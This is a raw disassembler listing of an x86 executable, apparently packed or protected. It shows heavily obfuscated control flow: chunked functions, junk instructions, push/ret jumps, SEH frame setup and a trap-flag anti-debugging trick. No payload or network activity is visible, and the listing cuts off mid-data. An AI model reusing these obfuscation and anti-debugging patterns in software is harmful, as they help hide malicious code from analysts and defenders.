loc_42CC9A: ; CODE XREF: _0182ofla:0042EC43j jmp loc_427023 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E218 loc_42CC9F: ; CODE XREF: sub_42E218:loc_428C17j mov eax, ebp xchg eax, [esp+4+var_4] mov ebp, esp xchg ecx, esi push esi xchg ecx, esi mov esp, ebp pop ebp jmp loc_425CE7 ; END OF FUNCTION CHUNK FOR sub_42E218 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4254D3 loc_42CCB3: ; CODE XREF: sub_4254D3:loc_423090j push offset loc_4250BA jmp loc_42E631 ; END OF FUNCTION CHUNK FOR sub_4254D3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423A2A loc_42CCBD: ; CODE XREF: sub_423A2A+464Aj mov al, [eax] sub al, 99h mov edx, ds:dword_427A24 imul byte ptr [edx] cmp al, 0A4h jmp loc_4246C3 ; END OF FUNCTION CHUNK FOR sub_423A2A ; =============== S U B R O U T I N E ======================================= sub_42CCD0 proc near ; DATA XREF: _0182ofla:004265ACo ; FUNCTION CHUNK AT 00424FF0 SIZE 00000005 BYTES call sub_42D71D push offset sub_4252A2 jmp loc_424FF0 sub_42CCD0 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_96. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_42CCE0 proc near ; DATA XREF: sub_42D03E-62C6o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004261E7 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004272A1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042929E SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042D72B SIZE 00000005 BYTES mov eax, ds:dword_427144 or eax, eax jnz loc_42929E jmp loc_4272A1 sub_42CCE0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42CCF3: ; CODE XREF: _0182ofla:004248A9j jle loc_424B3A ; START OF FUNCTION CHUNK FOR sub_428336 loc_42CCF9: ; CODE XREF: sub_428336:loc_42488Dj add edi, 82A083F8h call sub_425D8F ; END OF FUNCTION CHUNK FOR sub_428336 ; START OF FUNCTION CHUNK FOR sub_42662C loc_42CD04: ; CODE XREF: sub_42662C+FE0j jmp loc_4241F8 ; END OF FUNCTION CHUNK FOR sub_42662C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42349B loc_42CD09: ; CODE XREF: sub_42349B+20A9j not eax adc ebx, 0E79D6B9Ah loc_42CD11: ; CODE XREF: sub_42349B:loc_4284DCj mov eax, [ebp-4] xor edx, edx jmp loc_42DB61 ; END OF FUNCTION CHUNK FOR sub_42349B ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_72. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jge nullsub_158 jmp sub_423F65 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428729 loc_42CD27: ; CODE XREF: sub_428729+19j push 400h loc_42CD2C: ; CODE XREF: sub_427942:loc_423372j mov eax, [ebp-8] push eax mov eax, [ebp-30h] push eax call sub_426020 jmp loc_4294DF ; END OF FUNCTION CHUNK FOR sub_428729 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_144. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42CD3F: ; CODE XREF: _0182ofla:00426F87j jmp loc_42AEBB ; =============== S U B R O U T I N E ======================================= sub_42CD44 proc near ; CODE XREF: _0182ofla:00425CCAj ; sub_423AF2+A43Ap ; FUNCTION CHUNK AT 00425148 SIZE 0000000B BYTES xchg eax, [esp+0] pop eax push edi push 94B85A19h pop edi jmp loc_425148 sub_42CD44 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425DA5 loc_42CD54: ; CODE XREF: sub_425DA5:loc_429356j rol ebx, 17h add ebx, 53164694h xchg ebx, [esp+4+var_4] jmp sub_42AB27 ; END OF FUNCTION CHUNK FOR sub_425DA5 ; --------------------------------------------------------------------------- loc_42CD65: ; CODE XREF: _0182ofla:0042E727j jle loc_425C96 test eax, ebx jmp loc_42B1F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425EA5 loc_42CD72: ; CODE XREF: sub_425EA5:loc_424544j shl eax, 3 add [ebp-8], eax mov eax, [ebp-8] shr eax, 0Bh jmp loc_42E494 ; END OF FUNCTION CHUNK FOR sub_425EA5 ; --------------------------------------------------------------------------- and ecx, edx jmp sub_42E574 ; --------------------------------------------------------------------------- shl eax, 1Fh test ecx, ebp jmp loc_425617 ; --------------------------------------------------------------------------- loc_42CD94: ; CODE XREF: _0182ofla:00426D93j jge loc_42B1D8 ; START OF FUNCTION CHUNK FOR sub_428A39 loc_42CD9A: ; CODE XREF: sub_428A39:loc_426D82j or esi, 7DC7434h add esi, 0B82281C4h xchg esi, [esp+0] jmp loc_423896 ; END OF FUNCTION CHUNK FOR sub_428A39 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429203 loc_42CDAE: ; CODE XREF: sub_429203:loc_42A204j jz loc_42557F jmp loc_42D99F ; END OF FUNCTION CHUNK FOR sub_429203 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A642 loc_42CDB9: ; CODE XREF: sub_42A642-1261j and ecx, 0F23DFF60h loc_42CDBF: ; CODE XREF: sub_42A642:loc_4276B4j call sub_428D17 mov edx, 0C231F698h call sub_42D71D push eax ror eax, 19h mov ds:dword_42B8E0, eax jmp nullsub_122 ; END OF FUNCTION CHUNK FOR sub_42A642 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42433C loc_42CDDD: ; CODE XREF: sub_42433C-6E0j add edx, edi call sub_426CF9 locret_42CDE4: ; CODE XREF: sub_423A42:loc_42C123j retn ; END OF FUNCTION CHUNK FOR sub_42433C ; --------------------------------------------------------------------------- loc_42CDE5: ; CODE XREF: _0182ofla:0042669Cj jle loc_424BC1 ; =============== S U B R O U T I N E ======================================= sub_42CDEB proc near ; CODE XREF: sub_42A995+3p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00428434 SIZE 00000013 BYTES xchg ebx, [esp+0] pop ebx push ecx push 9F37D185h pop ecx sub ecx, 0E49764Eh jmp loc_428434 sub_42CDEB endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42CE01 proc near ; DATA XREF: _0182ofla:0042E8B3o mov esp, ebp pop ebp mov eax, ds:dword_424BEC call sub_428110 sub_42CE01 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_4272F4 loc_42CE0F: ; CODE XREF: sub_4272F4:loc_42B298j mov edx, esp push edx push 0DB749746h add [esp+20h+var_20], 248B68BAh push eax lea eax, sub_427942 push eax jmp loc_42DDC3 ; END OF FUNCTION CHUNK FOR sub_4272F4 ; --------------------------------------------------------------------------- cmp ecx, eax jmp loc_425E0B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42940E loc_42CE32: ; CODE XREF: sub_42940E:loc_42882Aj jz loc_427C02 jmp loc_426CA7 ; END OF FUNCTION CHUNK FOR sub_42940E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428F0F loc_42CE3D: ; CODE XREF: sub_428F0F-2BDj add edi, ebx or ecx, 2509DDB3h and eax, esi loc_42CE47: ; CODE XREF: sub_428F0F:loc_424E57j push 999BE8B8h pop eax add eax, 0F05C262Dh add eax, ebp add eax, 7607F107h jmp loc_42711E ; END OF FUNCTION CHUNK FOR sub_428F0F ; =============== S U B R O U T I N E ======================================= sub_42CE60 proc near ; CODE XREF: sub_424E6E+8375p ; FUNCTION CHUNK AT 0042934D SIZE 00000004 BYTES ; FUNCTION CHUNK AT 0042A1C4 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx push ebp mov ebp, eax jmp loc_42A1C4 sub_42CE60 endp ; --------------------------------------------------------------------------- adc ebp, esi jmp sub_42A4C6 ; =============== S U B R O U T I N E ======================================= sub_42CE73 proc near ; CODE XREF: _0182ofla:0042535Aj ; _0182ofla:loc_425D89j ... ; FUNCTION CHUNK AT 004266E7 SIZE 0000000B BYTES mov [esp+0], ecx pop ecx call sub_428D17 push 1F201766h jmp loc_4266E7 sub_42CE73 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42CE86 proc near ; CODE XREF: sub_427942+5B8Dp ; _0182ofla:0042EBCBj xchg eax, [esp+0] pop eax pushf push offset loc_428648 jmp nullsub_124 sub_42CE86 endp ; --------------------------------------------------------------------------- or edi, eax jmp sub_42A0B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4249FA loc_42CE9C: ; CODE XREF: sub_4249FA:loc_425F81j xchg edi, [esp+4+var_4] jmp sub_424CD8 ; END OF FUNCTION CHUNK FOR sub_4249FA ; =============== S U B R O U T I N E ======================================= sub_42CEA4 proc near ; CODE XREF: _0182ofla:00427304j ; sub_42883C+7p ; FUNCTION CHUNK AT 00428C35 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042AEF2 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx mov edx, [ebp+8] mov edx, [edx-8] or edx, 40h jmp loc_42AEF2 sub_42CEA4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- push eax ror eax, 0Fh mov ds:dword_42D128, eax retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42380D loc_42CEC1: ; CODE XREF: sub_42380D+11j jmp loc_42886B ; END OF FUNCTION CHUNK FOR sub_42380D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B669 loc_42CEC6: ; CODE XREF: sub_42B669-6CCEj xor eax, eax pop ecx retn ; END OF FUNCTION CHUNK FOR sub_42B669 ; --------------------------------------------------------------------------- loc_42CECA: ; CODE XREF: _0182ofla:0042D7C0j jmp loc_429422 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B5C2 loc_42CECF: ; CODE XREF: sub_42B5C2+5j jmp loc_42737D ; END OF FUNCTION CHUNK FOR sub_42B5C2 ; =============== S U B R O U T I N E ======================================= sub_42CED4 proc near ; CODE XREF: sub_42D52E:loc_4266DDp push dword ptr fs:0 mov fs:0, esp jmp near ptr word_425686 sub_42CED4 endp ; --------------------------------------------------------------------------- loc_42CEE5: ; CODE XREF: _0182ofla:00425BE8j jl loc_42CB65 ; START OF FUNCTION CHUNK FOR sub_428729 loc_42CEEB: ; CODE XREF: sub_428729+276Fj jmp loc_42E964 ; END OF FUNCTION CHUNK FOR sub_428729 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425C89 loc_42CEF0: ; CODE XREF: sub_425C89+6j jmp loc_42E3EE ; END OF FUNCTION CHUNK FOR sub_425C89 ; --------------------------------------------------------------------------- pushf not ecx jmp loc_42CB65 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426020 loc_42CEFD: ; CODE XREF: sub_426020+7384j jz loc_42AEFC jmp loc_427F51 ; END OF FUNCTION CHUNK FOR sub_426020 ; --------------------------------------------------------------------------- loc_42CF08: ; CODE XREF: _0182ofla:004293BDj ; _0182ofla:0042DB79j push ecx jmp loc_425008 ; --------------------------------------------------------------------------- xor edx, 5A84A004h xor edi, 16E22DE7h jmp sub_428EB9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428AC9 loc_42CF1F: ; CODE XREF: sub_428AC9+6060j mov ebx, 246011BDh and ebx, 66F20508h jmp loc_42E153 ; END OF FUNCTION CHUNK FOR sub_428AC9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4253F4 loc_42CF2F: ; CODE XREF: sub_4253F4+14A6j jnz loc_428BC9 jmp loc_42CFA6 ; END OF FUNCTION CHUNK FOR sub_4253F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424184 loc_42CF3A: ; CODE XREF: sub_424184:loc_42D2A4j mov dword ptr [ebp+eax*4-70h], 73257325h inc dword ptr [ebp-8] cmp dword ptr [ebp-8], 19h jnz loc_427C56 jmp loc_42691F ; END OF FUNCTION CHUNK FOR sub_424184 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42966F loc_42CF54: ; CODE XREF: sub_42966F-6033j sub edx, 0BC7BCC0Eh sbb ebx, 86884B79h pushf loc_42CF61: ; CODE XREF: sub_425DA5:loc_42DA3Dj call sub_423FCD test al, al jz loc_4279B1 jmp loc_4242D3 ; END OF FUNCTION CHUNK FOR sub_42966F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E5F8 loc_42CF73: ; CODE XREF: sub_42E5F8-4E6Cj jz loc_42A729 jmp loc_42E858 ; END OF FUNCTION CHUNK FOR sub_42E5F8 ; --------------------------------------------------------------------------- loc_42CF7E: ; CODE XREF: _0182ofla:00424369j xchg eax, [esp] retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4291BA loc_42CF82: ; CODE XREF: sub_4291BA-3E43j jmp loc_428097 ; END OF FUNCTION CHUNK FOR sub_4291BA ; --------------------------------------------------------------------------- loc_42CF87: ; DATA XREF: _0182ofla:00424364o pop edx xchg edi, [esp] mov ecx, edi pop edi jmp loc_426F18 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42660C loc_42CF93: ; CODE XREF: sub_42660C-229Dj xchg eax, [esp+0] or eax, 100h xchg eax, [esp+0] popf nop jmp loc_42E928 ; END OF FUNCTION CHUNK FOR sub_42660C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4253F4 loc_42CFA6: ; CODE XREF: sub_4253F4+7B41j cmp eax, edi jmp loc_426472 ; END OF FUNCTION CHUNK FOR sub_4253F4 ; =============== S U B R O U T I N E ======================================= sub_42CFAD proc near ; FUNCTION CHUNK AT 00428542 SIZE 00000005 BYTES add eax, ebp add eax, 94E2727Eh mov eax, [eax] push eax jmp loc_428542 sub_42CFAD endp ; --------------------------------------------------------------------------- sbb edi, eax rol esi, 11h jmp sub_42E1C8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A4C6 loc_42CFC7: ; CODE XREF: sub_42A4C6+39E4j popf push offset sub_427E42 jmp loc_42A477 ; END OF FUNCTION CHUNK FOR sub_42A4C6 ; --------------------------------------------------------------------------- loc_42CFD2: ; CODE XREF: _0182ofla:loc_425F86j ; _0182ofla:loc_4277CAj xchg edx, [esp] jmp nullsub_220 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423FCD loc_42CFDA: ; CODE XREF: sub_423FCD:loc_42B485j jnb loc_424438 or eax, 339A7D1h rol ebp, 1Bh cdq and edi, edx jmp loc_42DC90 ; END OF FUNCTION CHUNK FOR sub_423FCD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423B43 loc_42CFF1: ; CODE XREF: sub_423B43:loc_42B228j add esi, 0DE08B7FCh jmp loc_425BB2 ; END OF FUNCTION CHUNK FOR sub_423B43 ; --------------------------------------------------------------------------- loc_42CFFC: ; DATA XREF: sub_428B26+Eo setz al call sub_42ECAD pop ecx jmp loc_426374 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_42D00A: ; CODE XREF: sub_42798F:loc_4270F9j mov eax, [ebp+8] jmp loc_426D18 ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42380D loc_42D012: ; CODE XREF: sub_42380D+9945j sub ebp, 0ABDA6EBDh jnp loc_423363 loc_42D01E: ; CODE XREF: sub_42380D:loc_42886Bj mov eax, 62h call sub_4265C0 jmp loc_428A55 ; END OF FUNCTION CHUNK FOR sub_42380D ; =============== S U B R O U T I N E ======================================= sub_42D02D proc near ; CODE XREF: sub_42EAB7:loc_428C9Dp arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00423678 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00426F22 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004278F0 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0042B3F8 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0042B58D SIZE 00000005 BYTES push dword ptr fs:0 mov fs:0, esp jmp loc_42B3F8 sub_42D02D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42D03E proc near ; DATA XREF: sub_427D89+16o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00423C99 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424D02 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00426D77 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00428B7E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428BED SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042ADB0 SIZE 00000005 BYTES xchg esi, [esp+0] jmp loc_423C99 sub_42D03E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42ABB7 loc_42D046: ; CODE XREF: sub_42ABB7+2F6Cj xor al, al or eax, eax jnz loc_424636 jmp loc_42EB18 ; END OF FUNCTION CHUNK FOR sub_42ABB7 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_58. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_42D056 proc near ; CODE XREF: sub_425063:loc_424680p ; _0182ofla:00427349j var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 004236BB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00423A52 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00423DEC SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00424042 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424DCD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00424F26 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 004256DB SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00425F8B SIZE 0000000A BYTES ; FUNCTION CHUNK AT 004263AD SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00426678 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00426DEE SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00427D21 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428340 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00428428 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042858C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428676 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042887D SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00428908 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00428D92 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429319 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042987B SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00429991 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 00429C49 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00429E7E SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042A3A1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A574 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042A7AE SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0042A84E SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0042A8E3 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0042AF93 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042B3A8 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0042C98A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042CBF6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D414 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0042D45F SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042D864 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042DE1B SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0042E038 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042E636 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042EC88 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042ECC5 SIZE 0000000B BYTES xchg ecx, [esp+0] pop ecx jnb loc_428340 call sub_423FCD test al, al jz loc_425F8B jmp loc_428676 sub_42D056 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_199. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425B00 loc_42D073: ; CODE XREF: sub_425B00+54B5j jmp loc_429088 ; END OF FUNCTION CHUNK FOR sub_425B00 ; --------------------------------------------------------------------------- loc_42D078: ; CODE XREF: _0182ofla:0042C6AEj xchg ebp, [edi] pop ecx and esi, 0F37F01FFh ; START OF FUNCTION CHUNK FOR sub_427259 loc_42D081: ; CODE XREF: sub_427259:loc_42C69Aj add ecx, 7DBA5CA0h jmp loc_42DD3B ; END OF FUNCTION CHUNK FOR sub_427259 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424707 loc_42D08C: ; CODE XREF: sub_424707+705j xor eax, 4B47A071h add eax, 0D4CBC009h xchg eax, [esp+0] jmp sub_4265C0 ; END OF FUNCTION CHUNK FOR sub_424707 ; --------------------------------------------------------------------------- loc_42D0A0: ; CODE XREF: _0182ofla:0042B043j push ecx jmp loc_425467 ; --------------------------------------------------------------------------- loc_42D0A6: ; CODE XREF: _0182ofla:0042EB3Cj pop edx add edx, 2E30AFEBh loc_42D0AD: ; CODE XREF: _0182ofla:loc_424C5Bj add edx, ebp add edx, 182A94FCh mov [edx], eax pop edx jmp loc_428ED6 ; --------------------------------------------------------------------------- loc_42D0BD: ; CODE XREF: _0182ofla:0042EC9Fj test eax, 4 loc_42D0C3: ; CODE XREF: _0182ofla:loc_429AABj jmp loc_42E84D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42349B loc_42D0C8: ; CODE XREF: sub_42349B+13j sub eax, [ebp-0Ch] call sub_42EAB7 loc_42D0D0: ; CODE XREF: _0182ofla:004271CCj jmp loc_42668B ; END OF FUNCTION CHUNK FOR sub_42349B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42940E loc_42D0D5: ; CODE XREF: sub_42940E:loc_42E8D8j push edx push 7717E54Eh mov edx, offset sub_42D0E4 xchg edx, [esp+8+var_8] retn ; END OF FUNCTION CHUNK FOR sub_42940E ; =============== S U B R O U T I N E ======================================= sub_42D0E4 proc near ; DATA XREF: sub_42940E+3CCDo xor edx, 0E889AD61h add edx, 60A41B5Bh xchg edx, [esp+0] jmp sub_425E4D sub_42D0E4 endp ; --------------------------------------------------------------------------- loc_42D0F8: ; CODE XREF: _0182ofla:0042785Aj push offset sub_42CB53 jmp locret_427A84 ; --------------------------------------------------------------------------- dw 3C11h dword_42D104 dd 0FEFCA86Eh ; DATA XREF: sub_42DF41-2FC9w ; sub_42DF41r ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D63 loc_42D108: ; CODE XREF: sub_428D63+2600j jmp loc_424FF5 ; END OF FUNCTION CHUNK FOR sub_428D63 ; --------------------------------------------------------------------------- db 0DCh, 19h, 87h dword_42D110 dd 38DDF9E7h ; DATA XREF: sub_425E4D:loc_42B048r ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4267F8 loc_42D114: ; CODE XREF: sub_4267F8+2C0Bj jmp loc_423CF5 ; END OF FUNCTION CHUNK FOR sub_4267F8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428041 loc_42D119: ; CODE XREF: sub_428041-249Fj jmp nullsub_129 ; END OF FUNCTION CHUNK FOR sub_428041 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428F20 loc_42D11E: ; CODE XREF: sub_428F20-486Dj jmp loc_4244D7 ; END OF FUNCTION CHUNK FOR sub_428F20 ; --------------------------------------------------------------------------- db 87h dword_42D124 dd 0E79C9077h ; DATA XREF: sub_42D833-6503r ; sub_42D833+B0w ... dword_42D128 dd 7B94EFA9h ; DATA XREF: _0182ofla:00423100w ; sub_428A5F+5r ... ; --------------------------------------------------------------------------- sub eax, 95F06D41h ; START OF FUNCTION CHUNK FOR sub_428D63 loc_42D132: ; CODE XREF: sub_428D63-3581j jmp sub_4296F0 ; END OF FUNCTION CHUNK FOR sub_428D63 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427445 loc_42D137: ; CODE XREF: sub_427445:loc_42B480j pop ebp push 48DF4696h pop eax sub eax, 0BB045D89h or eax, 5D9525DCh jmp loc_427536 ; END OF FUNCTION CHUNK FOR sub_427445 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_152. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42380D loc_42D150: ; CODE XREF: sub_42380D:loc_42C274j xor ebp, esi jmp loc_42D012 ; END OF FUNCTION CHUNK FOR sub_42380D ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426571 loc_42D158: ; CODE XREF: sub_426571+13BEj jmp loc_42DBB1 ; END OF FUNCTION CHUNK FOR sub_426571 ; =============== S U B R O U T I N E ======================================= sub_42D15D proc near ; CODE XREF: sub_42660C:loc_42543Ap ; sub_42938A+2FDCj arg_8 = dword ptr 0Ch arg_C = dword ptr 10h ; FUNCTION CHUNK AT 00423EA4 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00426537 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00427210 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428A1F SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00429533 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0042DA97 SIZE 00000005 BYTES jb loc_423EA4 call sub_427445 push ebp jmp loc_427210 sub_42D15D endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B15E loc_42D16E: ; CODE XREF: sub_42B15E-7981j jno loc_425CB7 sbb ebp, 2C56D6DFh loc_42D17A: ; CODE XREF: sub_427CDE:loc_42EC76j push eax push 21DBAE85h pop eax or eax, 0A8A0C69Ch jmp loc_426E04 ; END OF FUNCTION CHUNK FOR sub_42B15E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4282B8 loc_42D18C: ; CODE XREF: sub_4282B8+3E8Aj sbb ebp, 0AEE190Ah mov eax, [ebx] test edx, esi jmp loc_42D7C5 ; END OF FUNCTION CHUNK FOR sub_4282B8 ; =============== S U B R O U T I N E ======================================= sub_42D19B proc near ; CODE XREF: _0182ofla:004273E7j ; sub_428A39+6p ; FUNCTION CHUNK AT 0042AD3C SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0042E1AB SIZE 0000000F BYTES xchg edi, [esp+0] pop edi pop esi mov esi, [eax] push ecx push 13AFF857h pop ecx jmp loc_42AD3C sub_42D19B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D1AE proc near ; CODE XREF: sub_425629:loc_42754Dj ; FUNCTION CHUNK AT 00425D75 SIZE 00000005 BYTES push ebp mov ebp, esp push ecx push offset loc_427643 jmp loc_425D75 sub_42D1AE endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429597 loc_42D1BC: ; CODE XREF: sub_429597:loc_42E6E3j push 0 call sub_42B5C2 locret_42D1C3: ; CODE XREF: _0182ofla:0042DAFEj retn ; END OF FUNCTION CHUNK FOR sub_429597 ; =============== S U B R O U T I N E ======================================= sub_42D1C4 proc near ; CODE XREF: _0182ofla:0042A4FBp xchg edx, [esp+0] mov edx, [esp+0] push ebx call sub_426319 loc_42D1D0: ; CODE XREF: sub_42C197:loc_42359Bj mov ebp, esp push ecx mov esp, ebp pop ebp call sub_42EAF0 loc_42D1DB: ; CODE XREF: sub_427D2B+Cj jmp nullsub_134 sub_42D1C4 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424E6E loc_42D1E0: ; CODE XREF: sub_424E6E+34Bj ; sub_42D978+6j rol eax, 12h call sub_42CE60 loc_42D1E8: ; CODE XREF: sub_424707+15ABj jmp loc_423141 ; END OF FUNCTION CHUNK FOR sub_424E6E ; --------------------------------------------------------------------------- loc_42D1ED: ; CODE XREF: _0182ofla:00424429j jmp loc_426B90 ; --------------------------------------------------------------------------- dec ebp mov ecx, 3D114530h ; DATA XREF: sub_42E282+6o ; START OF FUNCTION CHUNK FOR sub_4240FC loc_42D1F8: ; CODE XREF: sub_4240FC-6BFj jmp loc_42610F ; END OF FUNCTION CHUNK FOR sub_4240FC ; --------------------------------------------------------------------------- db 0A8h, 0F4h, 0D5h dd 3D114530h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42380D loc_42D204: ; CODE XREF: sub_42380D+54C3j jmp loc_427F69 ; END OF FUNCTION CHUNK FOR sub_42380D ; --------------------------------------------------------------------------- loc_42D209: ; CODE XREF: _0182ofla:00427FFCj jmp locret_42A7AD ; --------------------------------------------------------------------------- dw 9EAEh dword_42D210 dd 0 ; DATA XREF: sub_429BA2+6w ; sub_42461C+A6FFr dword_42D214 dd 0 ; DATA XREF: sub_425B6E+6r ; sub_425C55+7r ... ; --------------------------------------------------------------------------- loc_42D218: ; CODE XREF: _0182ofla:00424AD2j jmp sub_42935B ; --------------------------------------------------------------------------- db 4Fh, 